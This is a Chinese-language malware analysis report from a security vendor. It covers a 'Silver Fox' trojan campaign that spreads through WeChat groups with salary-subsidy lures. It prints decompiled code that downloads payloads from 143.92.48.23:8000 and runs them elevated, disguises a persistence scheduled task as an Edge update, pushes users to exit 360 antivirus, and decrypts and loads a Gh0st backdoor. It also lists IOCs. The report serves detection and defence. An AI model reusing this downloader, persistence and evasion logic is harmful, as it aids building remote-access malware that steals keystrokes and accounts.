概述
近日 瑞星威胁情报平台
捕获到一起银狐
木马的攻击事件,鉴于平台监测该木马有爆发的趋势,故此针对此次捕获的样本进行分析说明。
银狐
木马主要通过钓鱼网页、即时通讯软件、下载站伪装成常用软件供用户下载等方式进行传播,通过钓鱼、即时通讯软件传播的木马文件名称通常包含发票
、税务
、补贴
、通知
、薪资
等极具诱导性的字眼,以诱导用户打开,木马运行后会联网下载真正的木马病毒,进而攻击者利用远控木马监控用户日常操作,获取隐私信息等。
事件详情
此次捕获的样本在微信群中传播,其名称以具有诱导性的文字命名10月新政财会人员薪资补贴调整新政策
。
攻击流程
样本分析
初始样本分析
字段 | 内容 |
---|---|
原始文件名 | TRBYU23.exe |
文件大小 | 143KB |
文件MD5 | 4a536dfc75a0230166a52f3ac5917b5a |
文件类型 | NSIS 安装包 |
病毒名 | Trojan.Kryptik!1.EC3B |
主要功能 | 内存解密ShellCode下载DLL加载并调用其导出函数 |
病毒运行后会在内存中解密一段ShellCode
。
执行ShellCode
联网下载hn-3 DLL
内存加载该DLL并调用其导出函数Edge
。
and [ebp+var_134], 0
lea eax, [ebp+var_138]
mov [edi+10h], esi
mov esi, [edi+4]
push eax
mov [ebp+var_138], 'egdE'
call GetProcAddress_40A6C4
pop ecx
test eax, eax
jz short loc_40B3CB
call eax
jmp short loc_40B3CB
hn-3 DLL分析
字段 | 内容 |
---|---|
原始文件名 | hn-3 |
实际名称 | downexec.dll |
文件大小 | 71KB |
文件MD5 | 2f2a82ea6d06f979587fcf840008e9b7 |
文件类型 | DLL |
病毒名 | Downloader.Agent!1.EC5B |
主要功能 | 进程检测、下载白加黑套件 |
进入Edge
导出函数后首先创建互斥量,防止自身重复运行,然后遍历进程检测是否存在360TraY.eXe
、360sD.exe
进程,存在则弹窗提示退出360相关安全软件。
通过环境变量获取AppData
路径,并将白加黑套件下载到该目录,其中.exe
、.dat
文件名相同且是随机的10位字母数字,还有edge.xml
、edge.jpg
,最后以管理员权限运行随机命名的可执行文件。
strcat_10001800((int)&v7, "\\", 1u);
sub_10001700((int)&v19, 0, 0xFFFFFFFF);
strcat_10001800((int)&v7, ".exe", 4u);
urlpath = 0;
memset(v25, 0, sizeof(v25));
sprintf_s(&urlpath, 0x104u, "http://%s/%d", "143.92.48.23:8000", 1);
exefilepath = v8[0];
if ( v10 < 0x10 )
exefilepath = (const CHAR *)v8;
if ( downfile_10001050(&urlpath, exefilepath) >= 0 )
{
v14 = 15;
v13 = 0;
LOBYTE(v12) = 0;
sub_10001910(Source, strlen((const char *)Source));
LOBYTE(v26) = 2;
strcat_10001800((int)&v11, "\\", 1u);
sub_10001700((int)&v19, 0, 0xFFFFFFFF);
strcat_10001800((int)&v11, ".dat", 4u);
sprintf_s(&urlpath, 0x104u, "http://%s/%d", "143.92.48.23:8000", 2);
datfilepath = v12;
if ( v14 < 0x10 )
datfilepath = (const CHAR *)&v12;
if ( downfile_10001050(&urlpath, datfilepath) >= 0 )
{
v18 = 15;
v17 = 0;
LOBYTE(v16) = 0;
sub_10001910(Source, strlen((const char *)Source));
LOBYTE(v26) = 3;
strcat_10001800((int)&v15, "\\edge.xml", 9u);
sprintf_s(&urlpath, 0x104u, "http://%s/%d", "143.92.48.23:8000", 3);
v4 = v16;
if ( v18 < 0x10 )
v4 = (const CHAR *)&v16;
if ( downfile_10001050(&urlpath, v4) >= 0 )
{
sub_10001A20(Source);
LOBYTE(v26) = 4;
strcat_10001800((int)&v22, "\\edge.jpg", 9u);
sprintf_s(&urlpath, 0x104u, "http://%s/%d", "143.92.48.23:8000", 4);
v5 = v23[0];
if ( v23[5] < (LPCSTR)0x10 )
v5 = (const CHAR *)v23;
if ( downfile_10001050(&urlpath, v5) >= 0 )
{
memset(&pExecInfo.fMask, 0, 0x38u);
pExecInfo.cbSize = 60;
pExecInfo.fMask = 0;
pExecInfo.hwnd = 0;
pExecInfo.lpVerb = "runas";
if ( v10 < 0x10 )
pExecInfo.lpFile = (LPCSTR)v8;
else
pExecInfo.lpFile = v8[0];
pExecInfo.lpDirectory = (LPCSTR)Source;
pExecInfo.lpParameters = 0;
pExecInfo.nShow = 8;
while ( !ShellExecuteExA(&pExecInfo) )
白加黑套件分析
执行的YWxC1XO8kj.exe
实际是TrueUpdate
3.8版本的软件更新工具,具有合法的数字签名。
其运行后会加载同目录下同名的.dat文件,该文件实际是带密码的压缩包,其解压密码为99B2328D3FDF4E9E98559B4414F7ACB9
且以明文形式存储在白文件中,解压.dat文件后加载其中的_TUProj.dat
,其实际为lua脚本。
Lua脚本中ShellCode
功能为读取白文件同目录下的edge.xml
,并修复文件的前5字节。
修复后的edge.xml
实际为DLL文件,内存加载后会创建计划任务实现持久化,任务名称可以是MicrosoftEdgeUpdateTaskUA Task-S-1-5-18
或者由多个内置单词拼接组成。
Task_name = L"MicrosoftEdgeUpdateTaskUA Task-S-1-5-18";
Splicing_words = sub_10002C80();
hMem = Splicing_words;
if ( Splicing_words )
Task_name = (const wchar_t *)Splicing_words;
*(_DWORD *)&v42[1] = 0;
v43 = 0;
v44 = 0;
v45 = 0;
v42[0] = 8;
v40 = 0;
if ( (*(int (__stdcall **)(BSTR, const wchar_t *, void *, int, _DWORD, ULONG, LONG, LONG, _DWORD, ULONG, LONG, LONG, int, int, _DWORD, void *, _DWORD, int *))(*(_DWORD *)bstrString + 0x44))(
bstrString,
Task_name,
v27,
6,
*(_DWORD *)&pvarg.vt,
pvarg.decVal.Hi32,
pvarg.lVal,
pvarg.cyVal.Hi,
*(_DWORD *)&pvarg.vt,
pvarg.decVal.Hi32,
pvarg.lVal,
pvarg.cyVal.Hi,
3,
8,
0,
&unk_1000EB60,
0,
&v40) >= 0 )
然后解密同目录下的edge.jpg
,解密出的DLL在内存加载并调用其导出函数Edge
,该DLL实际为Gh0st
远控木马,该木马可以获取中毒用户的按键记录、获取浏览器隐私信息、获取当前登录的QQ账号、更新C2地址等。
memcpy(result, v1, v8 * 2);
*(_DWORD *)&v7[v8] = 'd\0E';
*(_DWORD *)&v7[v8 + 2] = 'e\0g';
*(_DWORD *)&v7[v8 + 4] = 'j\0.';
*(_DWORD *)&v7[v8 + 6] = 'g\0p';
LOBYTE(v7[v8 + 8]) = 0;
v9 = v7;
if ( *v7 == 34 )
v9 = v7 + 1;
result = CreateFileW(v9, 0x80000000, 1u, 0, 3u, 0x80u, 0);// Edge.jpg
v10 = result;
if ( result != (_WORD *)-1 )
{
FileSizeHigh = 0;
v11 = GetFileSize(result, &FileSizeHigh);
v12 = LocalAlloc(0x40u, v11);
if ( v12 )
{
v14 = ReadFile(v10, v12, v11, &FileSizeHigh, 0);
CloseHandle(v10);
if ( v14 )
{
v14 = v11;
v13 = (void *)decrypt_picture(v12, &v14);
if ( v13 )
Run_backdoor(v13, v14);
}
LocalFree(v12);
result = LocalFree(v7);
}
else
{
CloseHandle(v10);
result = LocalFree(v7);
}
此版本具有联网下载、更换最终执行木马的功能,此版本木马下载地址并非真实有效的URL
地址,因此怀疑此次捕获的是银狐
木马最新的测试版本。
memset(&Dst[1], 0, 0x103u);
v4 = sub_10001040(); // 随机在目录列表里取个路径
// %APPDATA%
// %USERPROFILE%
// %ALLUSERSPROFILE%"
// %USERPROFILE%\\Documents"
// %USERPROFILE%\\Pictures"
// "%USERPROFILE%\\Music"
// "%USERPROFILE%\\Videos"
// "%PUBLIC%\\Libraries"
//
ExpandEnvironmentStringsA(v4, Dst, 0x104u);
((void (__cdecl *)(_DWORD))sub_10001C60)(v34);
LOBYTE(v40) = 4;
((void (__cdecl *)(_DWORD))sub_10001C60)(v35);
LOBYTE(v40) = 5;
((void (__stdcall *)(void *))sub_10001AD0)(Dst);
LOBYTE(v40) = 6;
((void (__stdcall *)(void *))sub_10001B10)("\\");
sub_10001620((int)v34, 0, 0xFFFFFFFF);
v5 = lpPathName[0];
if ( v33 < 0x10 )
v5 = (const CHAR *)lpPathName;
CreateDirectoryA(v5, 0);
((void (__stdcall *)(void *))sub_10001B10)("\\");
sub_10001620((int)v35, 0, 0xFFFFFFFF);
((void (__stdcall *)(void *))sub_10001B10)(".png");
save_path = lpPathName[0];
if ( v33 < 0x10 )
save_path = (const CHAR *)lpPathName;
v7 = URLDownloadToFileA(0, "REPLACE ME TO BACKDOOR URL", save_path, 0, 0);
if ( v7 > (int)0x800C0008 && !v7 )
{
backdoor_path_v8 = lpPathName[0];
if ( v33 < 0x10 )
backdoor_path_v8 = (const char *)lpPathName;
strcpy_s((char *)&Data, 0x104u, backdoor_path_v8);
v9 = (LPCSTR *)lpPathName[0];
if ( v33 < 0x10 )
v9 = lpPathName;
if ( !RegSetValueExA((HKEY)Type, v2, 0, 1u, (const BYTE *)v9, v32) )
{
sub_100013C0(&pcbBinary);
sub_100013C0(v35);
LOBYTE(v40) = 2;
sub_100013C0(v34);
goto LABEL_38;
}
}
sub_100013C0(&pcbBinary);
sub_100013C0(v35);
sub_100013C0(v34);
}
LABEL_31:
delete_(v26);
delete_(v22);
return 0;
}
LABEL_38:
v10 = CreateFileA((LPCSTR)&Data, 0x80000000, 1u, 0, 3u, 0x80u, 0);
v11 = v10;
if ( v10 == (HANDLE)-1 )
goto LABEL_31;
v12 = GetFileSize(v10, (LPDWORD)&phkResult);
v13 = GetProcessHeap();
v14 = HeapAlloc(v13, 0x40u, v12);
if ( !v14 )
goto LABEL_31;
ReadFile(v11, v14, v12, (LPDWORD)&phkResult, 0);
CloseHandle(v11);
cbData = (DWORD)phkResult;
v15 = (void *)decrypt_picture((int)v14, (int *)&cbData);// 解密木马
if ( v15 )
Run_backdoor(v15, cbData); // 执行木马
总结
银狐
木马攻击团伙自2022年开始活跃,其传播手段包括:即时通讯工具钓鱼,邮件附件钓鱼,钓鱼网站,下载站冒充常用工具等方式,主要针对企事业单位的管理、财务、销售、金融从业等相关人员发送具有针对性的钓鱼、欺诈类信息,望企事业单位务必要引起重视并加强相关安全培训,防范该家族木马的攻击。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
4a536dfc75a0230166a52f3ac5917b5a 2f2a82ea6d06f979587fcf840008e9b7
-
URL
hxxp://143.92.48.23:8000/hn-3 hxxp://143.92.48.23:8000/1 hxxp://143.92.48.23:8000/2 hxxp://143.92.48.23:8000/3 hxxp://143.92.48.23:8000/4
-
瑞星病毒名
Trojan.Kryptik!1.EC3B Downloader.Agent!1.EC5B Trojan.Loader!1.EC5D